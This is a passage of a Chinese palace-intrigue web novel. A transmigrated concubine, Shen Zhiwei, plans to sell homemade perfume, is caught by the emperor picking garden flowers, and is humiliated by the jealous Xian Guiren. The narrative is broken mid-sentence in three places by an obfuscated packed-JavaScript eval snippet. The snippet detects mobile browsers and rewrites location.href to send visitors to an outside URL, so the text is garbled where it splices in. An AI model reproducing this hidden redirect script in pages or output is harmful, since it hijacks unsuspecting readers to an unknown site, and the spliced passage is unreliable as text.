云雁一向单纯,可此刻眼观鼻鼻观心,也察觉了出殿内气氛的变化,想说话却不敢开口。 倒是沈知微看向窗外,清晨的阳光穿过云层,越过层叠的屋檐,洒在殿前的青石砖,勾的人想要沐浴其中,让金色的光辉笼罩全身,从中得取一丝温暖。沈知微抬手示意云雁,“陪我出去走走吧。” 云雁应了声“是”,赶忙上前。 主仆二人久违地一同走出闲月宫的宫门,沿着红墙下走时,沈知微的大脑转个不停: 她作为一个现代人,接受现代思想教育,总不能穿到古代没多久,就因为入不敷出饿死了;这样可太丢人了。 她完全可以靠现代思想和技术制造些物件,利用她以往的销售经验将产品卖出去,换些银钱供她在后宫中生存。 可问题在于,这里是后宫,她的产品原料必须是能在后宫中取材的,而且要受后宫中最大的客户——嫔妃们的欢迎。 胭脂?水粉?青黛?——不,这些人人都有。 衣裳?刺绣?——这些古代大家闺秀们的绣工怕是好过她数倍。 做肥皂?——不,不,嫔妃们可不做粗活,她们也不会给奴婢买。 提炼精盐?——不行,贩卖私盐会被杀头。 …… 到底能做些什么呢? 沈知微走在路上,心中愁绪万千。悄然在一处破败的宫墙处驻足,鼻尖传来阵阵异香。 沈知微嗅了嗅鼻子,顺着香味望去,只见身后是一片浓绿的地锦越过宫墙,枝杈朝着四面八方伸展,肆意张扬的盛开着。 沈知微愣住,只觉鼻尖的香味越发浓烈,转身询问云雁,“这是什么地方?” 云雁眨了眨眼睛,咧嘴笑了起来,“这是小主所居住的闲月宫呀,闲月宫的后院墙。”她抬手指向远处,笑道:“刚才那个岔路,小主本该直走的,可是不知为何却拐了弯,自然就绕到后面来了。小主不常出门,不认识也是情理之中的。” 沈知微恍然,也不由得笑了起来,“原来如此,倒是我疏忽了。你可知这香味是从哪里来的?” 云雁眨了眨眼睛,思索道:“应该是柔答应种在后院里花的香味。” 她回忆着说道:“柔答应素爱侍弄花草,后院恰好有一处花坛荒废着,听闻柔答应请示了娴贵人,买了些花种种在其中,平日里精心照顾,如今到了春日,想来那些花自然是盛开了。” 沈知微闻言,点了点头,“这倒是新鲜,那花坛我并未见过,不曾想还有这样清香怡人的花香,干脆就不往前走了,我们去后院赏一赏柔答应的花吧。” 主仆二人刚一走进后院,便看到一道袅袅倩影立在花坛边,手边放着花浇。 沈知微看着那道丽影,笑言道:“素闻妹妹爱花,不知今日姐姐可否有福气,得以一赏妹妹的花艺。” 美人似乎没想到会有人过来,惊异地转过身。沈知微的目光不由自主地落在她的脸上,眼前的人楚楚可人,玉软花柔,当之无愧“柔”这个封号。 柔答应看到沈知微,堪堪行了个礼,目露关切地问:“先前听闻姐姐感染了风寒,如今可痊愈了?”她面露难色,特意走近一步低声说道:“我与姐姐同住一宫,得知姐姐病了,于情于理都该去探望一二的,只是娴贵人那……唉,是我太软弱,对不住姐姐。” 沈知微似笑非笑,拍了拍她的手,“妹妹宽心,如今我已痊愈。都过去了。” 沈知微走到花坛边,岔开了话题,“妹妹的手果真巧妙,原本废弃的花坛,经过妹妹这般打理,宛如将春天都锁了进来似的。你看这些花儿,红的似火,白的盛雪,各个都娇艳欲滴,闻起来香气扑鼻,不知是什么品种?” 柔答应见沈知微跟没事人似的,心下更是羞愧难当。只是沈知微不愿再谈,她也不好再开口,故而也是 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沈知将手中的花枝放在殿中的八仙桌上,道:“若是当做鲜花存储,自然放不了多久,可若是制成香水就不一样了,可以长久储存,香味也更加浓郁,平日行走时喷洒在衣物上,更是别有一番格调。” “那岂不是周身都会存有花香?这也太妙了吧!”云雁惊叹完,可下一秒又有了愁绪:“可是香水该如何提取呢?” 沈知微眼眸微转,让云雁取来纸笔,写写画画一直到中午,这才画好了一个简易的蒸馏装置。画成的那一刻,沈知微心中默念阿弥陀佛,还好她上学时化学课上有好好听讲,没有把最基本的物理知识忘掉。 孔嬷嬷拎着午膳食盒进来时,沈知微将图纸交给了她。嘱咐孔嬷嬷从之前收进库房的箱子中,寻几样值钱的物件当掉,将图纸上的陶土蒸馏器尽快找人制作出来。此外还需买进一批盛放香水的瓶装容器,最好是琉璃材质,瓶口加入导管,做成滴漏式喷头。 这些东西倒不是要花什么大价钱,但实际执行起来却要费好大些精力。 孔嬷嬷接过图纸,原本还有些犹豫,可见沈知微格外认真,想着小主这两日心情不好,她身为小主的嬷嬷,怎能这点要求都不满足呢。当下便应了下来,出门找熟识的太监寻门路去了。 沈知微也不曾闲着,随便巴拉了两口午饭,便将碗筷搁置到一边,专心研究她的香水来。 想来想去,这后宫中可以销售的新奇物件,香水最合适不过。 平日里各寝殿虽然也焚香,可焚烧天然会产生烟雾,多少会有些刺鼻;出门还不方便携带,香水刚好填补了这篇空白。又是女儿家的东西,在女人堆里不愁卖不出去。 若是能有一两个高位嫔妃用她的香水,那连带着她也能被关注,那就更好了。 沈知微思索着,决心将香水设计的更加精细化。 “幽兰”味道清甜,但只有一种味道难免单一,若是能融入其他花香,增强整款香水的层次和醇香,想来会更加甜美诱人。 只可惜刚才拿了柔答应太多的花,现下不好再去找她。 沈知微决定从别的地方下手——御花园。 5. 初遇 午后,各宫各院寂然无声,唯有枝头传来呕哑鸟鸣。 沈知微记得,后宫妃嫔多有午后小憩的习惯,连带着各院宫人也不愿在外走动。故而特地选择这个时间,带着云雁悄然走出了闲月宫宫门,步行往御花园去。 闲月宫距离御花园不远,离最近的御花园坤宁门只有三百米。 驻足坤宁门内,极目望去,园内亭台楼阁、花草树木分布极佳,假山堆石形态各异,山石盆景随处可见,更有活水流淌其中,于古朴中增添了几分灵动。 美景当前,沈知微心境开阔不少,然而正事要紧。 在她构想的香水配方中,幽兰味道清新,不易留香,故在其中加入梨香中和,再辅以广藿香、安息香等辅料延长基调,使香水整体味道更加酸甜怡人,还能延长留香时间。 可梨香从何而来? 果梨虽有香气,但以现在的手段难以提取。沈知微午膳后找闲月宫中负责侍弄花草的太监打探,这才得知御花园内有一种具有梨香清甜味道的花卉,名唤香雪兰。 但问题在于,这御花园中,兰花主要分布在东西两丛,一处在西侧澄瑞亭,一处在东侧万春亭。一东一西,方向截然相反,若是将整个园子都逛一遍,得耗上两个时辰,时间一长,难免碰见其他嫔妃。 沈知微最终决定,和云雁以御花园中轴线为界,一东一西,各自去寻香雪兰。不论是否找到,两炷香后在坤宁门回合。 看着云雁往万春亭方向去的背影,沈知微转身向□□自前往澄瑞亭。 御花园西侧的花草古树开得格外茂盛。穿过百年的古柏,经过攀沿的紫藤,绕过锦簇的芍药、牡丹……沈知微最终在澄瑞亭旁,找到了大片的、肆意盛开的香雪兰。 沈知微伸手摘下一朵,放在鼻尖细细嗅闻,果然带着诱人甜蜜的果香。 沈知微心中打鼓,看着眼前大片盛开的香雪兰,犹豫之后还是伸出手,将香雪兰从枝杈上折了下来…… 澄瑞亭正北方有一宫殿,名为玉芳轩。玉芳轩面阔五间,前有鱼池,中跨拱桥,两侧古树参天茂盛,将阁楼掩映在树荫之下,人居于其中,既能保障私密性,又因登高望远,四周美景皆收于视野之内。 玉芳轩正殿内,桓宸卧在榻上小憩。 身侧的总管太监何忠顺命人拿一张薄毯来,小心翼翼地给桓宸盖上。不曾想,放下薄毯时那轻微的声响,竟惊动了桓宸。 桓宸羽睫轻颤,剑眉皱在一起,似有不满地睁开眼。 何忠顺见状,当即弓下了腰,连声道:“奴才该死,奴才有罪!奴才一心想着早春寒凉,皇上千金贵体千万不能受凉,这才拿张薄毯给皇上盖上,不曾想惊动了皇上,奴才该死!” 桓宸拧了拧眉心,他的睡眠向来极浅,突如其来的叫醒更让他睡意全无,干脆坐起身,拿起手边的奏折看。 大楚疆域广阔,奏折如同雪片似的源源不断地飞到桓宸的案前。桓宸自问是个勤奋的君王,每日只睡三四个时辰,平日里不是在处理国事,就是在召见大臣,偶尔像这样来后宫放松,也要趁机批上几封奏折。万里山河抗在肩上,令他不敢有半刻松懈。 见皇上没有动怒,王全德松了口气,将备好的茶水端到案前,关切地说道:“皇上,保重龙体要紧,您若是想休息,不如奴才准备轿辇,送您回养心殿?亦或是这御花园靠近各嫔妃居所,是否需宣召嫔妃前来侍奉……” 桓宸手中翻看奏折的动作一掷,飞给何忠顺一记眼刀,“你现在差事当的越发好了,连朕召见哪个嫔妃,都要插手过问吗?” “奴才万万不敢!”何忠顺连声求饶,“皇上可冤枉奴才了,借奴才十个胆子也不敢插手后宫之事啊。奴才、奴才是担心皇上龙体。” 桓宸轻哼一声,“谅你也不敢。”何忠顺自小跟在他身边伺候,细算起来十二年有余。桓宸相信他的忠心,也能容忍何忠顺犯一些无伤大雅的错处,只要一心为他就好。 桓宸扬起手中的奏折,掷于案上,“朕的后宫,与前朝暗中勾结,算计朕、图谋朕的皇位,换做你是朕,会想宠幸那些女人吗?” 何忠顺脸色苍白,蓦然躲开桓宸的视线,不敢多发一言。 身为桓宸身边的总管太监,何忠顺深知伴君如伴虎的道理,后宫诸事牵连甚广,不是他所能置喙的。更何况,如今皇上生气,无非是因为苏氏和阮氏之争。 皇后的母家苏氏,是当年跟随太祖打天下挣来的功勋和体面,本就是顶级的尊贵。后来皇后的祖父官至内阁大学士,更是将苏家带向新的高峰。然而,在皇后有孕之时,苏家子弟屡屡被参侵占民田,欺压百姓,一时民怨四起,连带着苏大学士也受了皇上训斥。皇后为苏家求情,不爱惜自己的身子,不慎小产,更是引得皇上厌弃,如今执掌六宫之权还被夺去,成了有名无实的空架子。 而荣妃家族阮氏就不一样了。荣妃父亲阮大人不过是一个七品小官,连上朝时都是站在皇上看不见的位置。因为荣妃受宠,这才逐渐被皇上重用,经过多年经营,在朝中甚至有与苏氏分庭抗礼之势。然而内里却不如同表面这般光鲜,皇上曾怀疑,关于皇后家族的那些流言是荣妃家族放出去的。毕竟后宫勾结前朝互相栽赃的手段,他从小便见过。怀疑的种子一旦种下,导致皇上现在也不是多待见荣妃,只是如今皇后养病,后宫琐事需要有个人来管理罢了。 何忠顺知晓其中内情,更是不敢作答,含糊其辞道:“皇上折煞老奴了。” 还状做无意地转移话题,“这玉芳轩四面通透,清凉幽静,看奏折是再合适不过了。奴才这就带人将帘栊打开,让光线透进来,免得看折子时伤着皇上的眼睛。” 桓宸没指望能从他嘴里听到什么,摆了摆手,随他去了。 没安静几秒,何忠顺刺耳的喊声从眼前传来,“诶,干什么呢!御花园是皇家园林,花草只赏不摘,你不知道啊?你是哪个宫里的,过来回话。” 何忠顺浮尘一扫,转身时余光瞥见了面色凝重的桓宸,自觉闭上了嘴,趋步到玉芳轩外训斥那名私自采摘的宫人。 沈知微捧一大束香雪兰,正准备离开时,谁知竟被一名太监发现,心中只道倒霉。 待走到玉芳轩时,何忠顺已在殿门外等候。沈知微垂首听候发落,眼神却不住地往何忠顺背后瞄。 她此刻很想知道,到底是谁中午不在自己寝殿休息,偏偏跑到玉芳轩来坏她的好事。可惜殿中被一块屏风遮挡,完全看不清里面那人的相貌。 何忠顺浑身上下打量了眼沈知微,刚才站的远看不清楚,走到眼前才发现,眼前的女子穿的并不是宫女的衣服,可若说是小主,穿的却过于朴素了些,想来是宫中小主里最末等的答应了。 答应再小也是主子。何忠顺姿态不再似刚才那般倨傲,向沈知微行礼道:“奴才太监总管何忠顺,参见小主。”待沈知微说过免礼平身,才直起腰板问道:“御花园一花一木均为皇上所有,不可私自摘取,小主可知晓?” 沈知微听见对方自报家门,心下一惊,太监总管是皇上身边的人,难不成殿中休憩的人是皇上?! “小主,小主?”何忠顺见眼前之人没反应,又呼唤了几声。 沈知微这才回过神来,“我……我知道。” 何忠顺微不可察地叹了口气,心中直摇头,“小主既然知晓,又为何再犯呢?可是有苦衷,若是说出来合理,奴才自然不会为难小主的。” 沈知微面露窘色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374553|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中叫苦连天。 她总不能说是因为俸禄不够花,所以要制作香水换钱吧。这样赤裸裸地说出来,万一惹得里面那位不高兴,岂不是死得更惨。可这一时半刻,也想不出更好的理由来。 何忠顺神色逐渐冷了下来,“小主若是说不出来,便只能按照宫规处置了。” “别!”沈知微抬手拦住他。眼前形势逼人,沈知微来不及仔细筹划,只得剑走偏锋。 都说男人喜欢柔弱可怜、满心满眼都是他的女人,那…… 酝酿情绪,蓄好泪水,准备…… “臣妾是有苦衷的!”沈知微红着眼眶,看似在回答何忠顺,水汪汪的眼波看向的却是屏风后的人:“既然御花园所有花草均归皇上所有,如果说臣妾采花是为了皇上,这样……算有违宫规吗?” 何忠顺满脸茫然,看着沈知微,又转头看屏风后面的皇上,心想这是唱哪出;殿中的人也放下了手中的折子,看向屏风后那女子的身影,挑起了眉梢。 沈知微继续倾诉,声音中又添了几分可怜:“臣妾自选秀那日得见天颜起,便对皇上情根深种。臣妾喜欢皇上,思念皇上,一心想要成为皇上的女人。可是入宫后,臣妾位分低微,连皇上的面都见不到,这才想着借花传情,用花制成礼物给皇上准备一个惊喜,一解相思之苦……” 沈知微越演越上头,最后“扑通”一声跪在地上,“皇上想要惩罚臣妾就罚吧,只要皇上能知道臣妾的心意就够了。” 一番直率大胆的话说出口,殿中瞬间寂静无声。 回应沈知微的,只有如同被雷劈般的沉默。 沈知微白皙的脸颊涨得通红,差点以为要收不了场。 这时,屏风后传来爽朗的笑声,一道磁性清亮的声音响起,“何忠顺,让她进来。” 何忠顺扬声应“是”,目瞪口呆地看向沈知微,做了个“请”的手势。 沈知微拍了拍身上的尘土,大踏步朝殿内走去。心中不由得感叹,这装柔弱扮可怜诉衷肠的招数对男人果然管用啊。 殿内,桓宸正坐在榻上,身着蓝色云蝠龙纹龙袍,看起来不染纤尘;眉似剑锋,目若深潭;薄唇紧闭时,周身散发出冷峻的气息,令人不敢造次。沈知微余光扫过时,对她这位名义上夫君的长相很满意。 沈知微俯身行礼:“臣妾答应沈氏,见过皇上,皇上万福金安。” 桓宸瞥了眼她,声音低沉而悦耳:“走近些。” 沈知微心跳个不停,趋步走到桓宸跟前。谁知还未站稳,竟被桓宸一把攥住手腕,向前猛地一拉…… 梨香混杂着幽兰的香味猝不及防地闯入鼻尖,桓宸眸中闪过一丝躁动的情绪,但很快压了下去:“你说摘朕的花,是为了给朕惊喜?” 先前桓宸听到沈知微那些话,觉得这小答应实在是胆大包天,有违宫规不说,还敢往他的身上攀扯。这要是不给点教训,以后岂非要反天? 沈知微有些心虚,垂眸答道:“是……” 桓宸轻笑了一声,下一秒,伸出食指抚过沈知微的面庞,最后停留在她的下巴上,突然用力一抬,连声音中都带着几分玩味,“什么时候给?” “啊?” 沈知微有一瞬间的错愕,意识到眼前之人是有生杀大权的皇上不可戏弄,这才努力忍住心头奔涌的情绪,磕磕绊绊道:“七、七日……七日后臣妾定将准备的‘惊喜’献给皇上。” “好,”桓宸贴在沈知微耳畔,笑意不减:“七日后你若是拿不出来,就收拾东西,到冷宫了却余生吧。”他的声音很轻,气息拂过沈知微的脖颈,“作为你欺骗朕的代价。” 说罢,桓宸松开手,重新倚回榻上,又恢复了那副生人勿近的模样。 6. 结盟 沈知微离开玉芳轩的时候,心中恨不得直骂娘。 她觉得生活多少有些操淡了,恨不得仰天长问,为什么别人穿越有金手指有主角光环,她穿越又冷又穷还不受待见。好不容易想出个制作香水挣钱的点子,结果创业未半中道遇皇帝,倒欠他一份“惊喜”,还是做不好就要被打入冷宫的那种。 她沈知微在现代社会做到大区总,好歹算是经历过大风大浪的人,可不得不说,在古代当答应的日子,实在是难捱。她是一天都不想再当这个答应了,她想要改变,无论是变有钱还是变得更有地位,她都想要改变,这样的心情比以往任何时候都迫切。 不知不觉走到了御花园坤宁门,云雁已等候多时。看到沈知微苍白的脸色,不由得有些担忧:“小主,您这是这么了?” 沈知微挤出一个比哭还难看的笑容,将手中的香雪兰推到云雁怀里,“过程坎坷,但结果是好的,这些香雪兰够用了。” 云雁跟在沈知微的身后向园外走,看着她单薄的背影,心中惴惴不安:“小主……我们能不能不做香水?如今找花都这么艰难,后面提取香味怕是更加耗费时间精力。最后就算把香水做出来,万一、万一没有人买怎么办呢?” 云雁先前是听沈知微讲过如何制作香水的,其中纷繁步骤听着一时新鲜,可如今眼看着沈知微将身家性命全投入此道,有些劝诫的话就不得不说了。 沈知微停下脚步,惊讶地看向云雁。她非但不生气,甚至感谢云雁的坦率,这样她可以将问题解决在事前,而非在香水制作过程中出现问题,再去安抚手下人的情绪。 沈知微问道:“我问你,若将库房中的值钱物件全部变卖,我们能撑多久?” 云雁支吾道:“按照过往的开销来算,一年吧……” 沈知微继续问道:“那之后呢,之后我会怎样?” 云雁眼眸中划过一分慌乱,“小主……” 沈知微淡然一笑,“之后,我会打赏不起宫人,负担不起宫中的人情往来,更没有余钱穿衣打扮,无人关注,不受宠爱,最后只能在答应的位分上病死、老死,草草了结这一生,对吗?” 云雁沉默了。 沈知微继续说道:“我们心里都明白,没有能不能不做,而是必须要这么做,它不仅仅是一瓶香水,而是一个机会,关乎我们未来能不能体面、有尊严活着的机会。” “小主,对不起……”云雁拉住沈知微的衣袖,自责地垂下了脑袋。她不懂“未来”是什么,但她知道如今她们的处境异常艰难,可她却帮不了小主。 沈知微似是看出她的想法,拍了拍她的手,“没什么对不起的,你是为了我不受损失,但我也不想让你跟着我受委屈。云雁,我需要你相信我,帮助我,有你和孔嬷嬷在身边,我们一定能做成的。” 云雁红着眼,重重地点了点头。 主仆二人回到半月轩,立刻忙碌了起来。 云雁找了个大木盆,将收集来的幽兰和香雪兰分开洗净存放;孔嬷嬷按照沈知微的图纸,找烧陶师傅加班加点烧制陶制蒸馏器和香水瓶。沈知微则在屋内头脑风暴,回想曾经她欧洲旅游参观香水工厂时,那群老外是怎么制作香水的,再结合现有的工艺,精进她的香水制作步骤。 聚精会神之际,一道清婉的声音在门口响起。 “妹妹不请自来,可曾打扰姐姐午憩?” 沈知微突然被打断,心中咯噔一跳。闻声望去,只见柔答应拾步走来,手中还提着食盒。 沈知微起身相迎,假式地客套道:“我这半月轩一向冷清,巴不得和妹妹常来走动,怎会打扰呢。” 沈知微的目光不经意地扫过柔答应手中的食盒,拉着柔答应坐下,“妹妹这会怎么有空过来?” 柔答应将手中的食盒打开,道:“我是看中午菜色不佳,特地做了些桂花糕,味道还算香甜可口,拿些来给姐姐尝尝。” 沈知微愣了一瞬,笑容僵在脸上,“妹妹真是手巧,这桂花糕精致小巧,一看就知不俗。只是……先前我才收下妹妹亲手所植的幽兰,如今又怎好意思再收妹妹的桂花糕。妹妹有这份心我便知足了。” “姐姐莫要与我客气。”柔答应和沈知微推拒几番,僵持不下之际,柔答应目光落在先前沈知微散落在桌子上的手稿上,问道:“姐姐这是?” 沈知微见藏无可藏,心想反正柔答应应该看不懂,就算看懂也不会制作,便大大方方拿出来给柔答应看,“闲来无事,做些女儿家的玩意儿。” 谁曾想柔答应接过几张手稿,细细端详着。她对香水制作倒是不曾留意,唯独对沈知微绘制的那张陶制蒸馏器的样式图格外好奇,打量片刻后问道:“姐姐,这是要酿造米酒吗?” “什么?”沈知微不明所以。 柔答应指着手中的那张纸,“这不是天锅吗?宫里常用这种天锅酿造米酒。” 沈知微一道灵光从脑海中闪过,瞬间大喜过望,拉住柔答应的手问道:“天锅?!你那里有吗?能给我看看吗?”要知道,她派人去烧制的陶制蒸馏器,工期最快也得一个多月才能完成;可若是有可替代品就不一样了,可以大大缩短香水制作的周期。 柔答应被她这反应下了一跳,连说话都急促了起来,“我、我那里没有,但御膳房是有的。本不是什么值钱的物件,借来应该不难。姐姐若是要看,我命人去借便是。” 说罢,柔答应示意身后的侍女去御膳房。屋内只余二人,沈知微思忖着,柔答应因着先前的事,本就有意讨好于她;如今她要制作香水,不仅从柔答应那里得来了大量的原料幽兰,如今连烧制的器皿可能都要依靠柔答应。将来若是香水制作出来,又怎能不算柔答应一份功劳呢。 再加上将来若是售卖,她一个人吆喝自是不够的,若是有柔答应从旁协助,说不定有意想不到的效果。所谓多一个朋友多一个出路,总比贪图全部功劳,伤了他人的心强。 思及此,沈知微一鼓作气,将制作香水一事告诉了柔答应。 柔答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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按照沈知微的手稿,当提取完“花露”后,接下来还要分离“花露”,加入酒醇调制香水,放入密封瓶中陈化,过滤杂质等步骤。只是今天是做不完了,这一套流程下来,就算快也得一个月。当然,如果心急的话,蒸馏好的花露直接用也是可以的,就是香气和留存会没有预计的好。 天色已暗,月牙高悬在夜幕之中。沈知微、柔答应、加上两人各自的侍女仍坐在后院,盯着眼前的蒸馏器,等待最后一遍蒸馏。 经过前面几遍蒸馏,幽兰的香气在后院已是格外浓郁,萦绕在众人的衣袖上、皮肤上。沈知微和柔答应细心感受着这细微的变化,对最终的结果满怀期待,都想一睹最后一遍蒸馏后的幽兰花露是何效果。 后院针落可闻,一点声响都格外清晰。 沈知微听到有脚步声走进后院,以为是云雁重新热了晚膳送进来,正准备开口,忽而一道凌冽的女声响起: “沈答应安,柔答应安。听闻沈答应醒了,却迟迟不来给娴主子请安,我们主子关切的很,特邀沈答应到新月殿一叙。” 娴贵人的侍女青雀抬起眼皮扫了柔答应一眼,冷淡地道:“柔答应同去。” 7. 争抢 新月殿内,桌案上的香炉升起袅袅轻烟,空气中弥漫着甜腻的花香气味。 娴贵人高坐在榻上,手中把玩着今日新从荣妃那里得来的金簪,连个眼神都不屑于给脚边的二人。 沈知微和柔答应屈膝向娴贵人行礼,可娴贵人却没有叫她们起来的意思。这种半跪不跪的姿势最为难受,沈知微坚持了五分钟,身形开始发颤,心中对娴贵人越发不满。 先前她不来向娴贵人请安,一是认为她之所以病重,全是因娴贵人而起,她不主动找娴贵人麻烦都算好的,凭什么上赶着讨好娴贵人;二是沈知微觉得,在这闲月宫中,娴贵人虽然位分最高,但不是宫中主位,她没理由要主动去给娴贵人请安。只是没想到娴贵人这么小气,她不愿意来,竟然派人压着她来。 既然来者不善,沈知微也不是个善茬,心中正想着该如何度过这关。这时,娴贵人突然坐正了身体,抬手示意她们起身,不无讽刺地说道:“沈妹妹的运气真是不错,先前病得那样重,如今还能完好如初地站在这里,可见是上天庇佑,如此我也就放心了。” 沈知微心中忍不住讥笑,真是会为自己开脱啊,为了一己私欲害死了原主的性命,如今轻飘飘的一句话,就能洗刷罪行吗。 “臣妾有幸得上天垂怜,从鬼门关走了一遭还能无恙,心中自是感激。不过……”沈知微特意停顿了一下,声音里透着阴冷,“要心存感激的不该只有臣妾一人,毕竟臣妾身为宫妃,若是真出什么事,想来贵人也脱不了干系。如此看来,是贵人的运气更好呢。” 娴贵人神色一变,拍案怒斥道:“你!”一旁的侍女青雀迅速迎了上去,一边为娴贵人抚背顺气,一边拼命使眼色。 娴贵人接收到暗示,夸张地笑了两声,高傲地仰起头,“我不和你争论是非。你不过是一个答应,我是贵人,我说你错你就是错,我要你跪你就要跪。像你现在以下犯上、出言不逊,我就是让你跪下认错又如何?!” 沈知微心想正合我意,干脆利落地跪下,“贵人让臣妾跪,臣妾自是没有反抗的道理。只是臣妾先前病得那样重,如今尚未完全恢复。若是跪完后臣妾有所不适,还请贵人照看一二。” 沈知微说完,身段一软,竟扮作一副柔弱无骨的模样。娴贵人气得眉毛直竖,心想这意思摆明了是骂她欺负病人,而且“欺负”完后还要负责照顾她?真是岂有此理?!这分明是碰瓷啊?!这沈知微是吃错药了吗,以前怎么没发现她有这么多心眼呢。 可让沈知微下跪认错的命令是她下的,当着这么多人的面,她总不能打自己的脸…… 一直默不作声地柔答应观望了许久,眼神没少在娴贵人和沈知微身上逡巡,如今看时间到了,小心翼翼地开口道:“贵人切勿动怒,沈答应她大病初愈,受不得寒,还请贵人大人有大量,免了沈答应的罚跪……” 娴贵人正愁下不来台,见有人求情,顺势下了台阶,让沈知微退到一边候着,免得碍她的眼。可又觉得当众失了面子,心中怒气难消,于是便拿柔答应撒气:“先前我让你帮我想主意,在荣妃举办的瑶池宴上表演何种才艺,你可想出来了?整日里跟那些下里巴人混在一起,不知正经事做了多少。”说完,娴贵人还瞪了沈知微一眼。 柔答应恭敬地回道:“臣妾愚钝,只想出了献曲和献舞两策。” 娴贵人似是勾起了不好的回忆,满脸愠色,“去年就是献曲,本来皇上都夸赞我了,谁知后来杀出来个纯嫔和姚答应,一曲《高山流水》硬生生把我比下去,还在皇上面前演什么知音难觅姊妹情深,把皇上的注意力全部都吸引走了!哼,她们骗得了皇上可骗不了我,后宫哪有什么真情,不过是争宠的手段罢了。” 娴贵人恨得咬牙切齿,“这回有荣妃娘娘帮衬,我一定要成为全场最瞩目的那一个,看谁还敢抢我的风头!” 青雀看自家主子又开始口无遮拦,奉了杯茶到娴贵人面前,却被娴贵人一把推开。娴贵人指着柔答应斥道:“给了你半月的时间,就想出这样的主意吗?真是废物!我要你何用?!”说罢,举起手边的青瓷茶杯,朝柔答应身上砸去。 沈知微看得眉头紧皱,她之前只知道娴贵人磋磨原主,但这些都是潜意识告诉她的,如今亲眼目睹,这才真正对娴贵人的暴躏有了实感。此刻,她对娴贵人的厌恶达到了顶峰。 只见茶水在柔答应胸前的衣襟处洇湿了一大片,柔答应低着头,看不清情绪,偶尔有几滴眼泪落下,融进胸前那一大片的茶渍中。柔答应抽泣着告罪,不忘为自己辩解:“听闻贵人在闺阁时,舞艺名动京城,想着贵人若是能发挥长处,吸引皇上注意是迟早的事……” “迟早,迟早,我等不了了!”娴贵人焦躁地打转,“皇上若是再注意不到我,就要把我忘了。” 娴贵人苦笑了两声,捧着柔答应的脸颊猛地抬起,说给柔答应听,也是说给沈知微听。“你以为我不得宠,皇上就会注意到你们了吗?别做梦了,皇上有皇后,有四妃,有六嫔,下面还有众多贵人、答应,有些人一年都见不到皇上一次,比如说你们两个。我没机会,你们更不会有机会。我若是失宠了,闲月宫只会变成一座冷宫,你们就等着给我陪葬吧。” 柔答应头垂的更低了,身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374555|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住发抖。娴贵人却没有停下的意思,依然在癫狂地说一些胡话。沈知微几次想要为柔答应解围,都被娴贵人的怒吼声制止。 直到娴贵人发泄完,柔答应和沈知微才互相搀扶着离开。 二人都遭受了严重的身心折磨,此刻都不想再说一句话。 新月殿内,青雀监督着娴贵人喝安神药,直至一碗药见了底,这才放下心来。 娴贵人清醒过来,自己也对刚才的反应心有戚戚,她不知今日是怎么了,本来将沈知微叫来,是因为沈知微病好后迟迟不来请安,以为沈知微对她心生怨怼,想要教训提点她一顿的。谁知计划赶不上变化,被沈知微一激,她便没了章法,说出好些大逆不道的话来。 娴贵人想想都后怕,暗自记下了今日之仇,心想待瑶池宴结束后,她定要给沈知微好看! 青雀在一旁观察,见娴贵人小脸虽然仍是白的,但神情已经恢复了平静,这才试探地开口:“主子……其实柔答应的推荐不无几分道理。主子素来舞艺第一,琴技第二,若是真能在瑶池宴上一展风姿,何愁讨不了皇上欢心呢。” 娴贵人撇了她一眼,没好气道:“皇上又不是没看过我跳舞,没有新意,他不会喜欢的。” 青雀思索着,突然“噗嗤”一笑。见娴贵人一记眼刀杀过来,青雀慌忙说道:“小主要新意有何难,奴婢刚才还见到一样呢。” 青雀卖弄道:“适才我去后院找沈答应和柔答应时,见二人在后院竖起了一口天锅,好像在煮什么东西。她们煮的东西可香了,整个后院都充满了清甜怡人的花香,比荣妃娘娘宫中焚的万合香还好闻。我找柔答应身旁的侍女小蝶打探,小蝶说两位答应在提炼花露,若喷洒在衣物上,可步步生香,若是小主能身穿有花香的衣衫献舞……” 娴贵人扶着桌角坐直身体,通红的眼眶闪烁着光芒:“此话当真?” 青雀点点头,“千真万确。小蝶是个没心眼的,我吓唬她两下,她全都说了。” 娴贵人恍然,想明白后不由得翻了个白眼:“这两个贱人,刚才问她们时什么都不肯说,背地里竟有这样的谋划。沈答应可恶,那个柔答应更可恶,在我面前装柔弱扮可怜,不知道的还以为我欺负了她呢!若不是被你发现了,怕是哪天她用花香勾引了皇上去,我都还蒙在鼓里!” 青雀恭敬地侍立在一旁,“上苍眷顾小主,一切尽在小主掌握。” 娴贵人勾起唇角,“派人盯好她们,花露一旦做好,立刻禀报我。闲月宫出的东西,自然要先送到我这里。她们两个若是不识抬举,我们就好好教教她们规矩。” 8. 隐忍 夜色寂凉如水,唯有侍女手中的宫灯还跳动着微弱的烛光。 柔答应因被娴贵人打骂,脸上的泪痕还没有干,和沈知微病恹恹地道了别,独自回了寝殿。 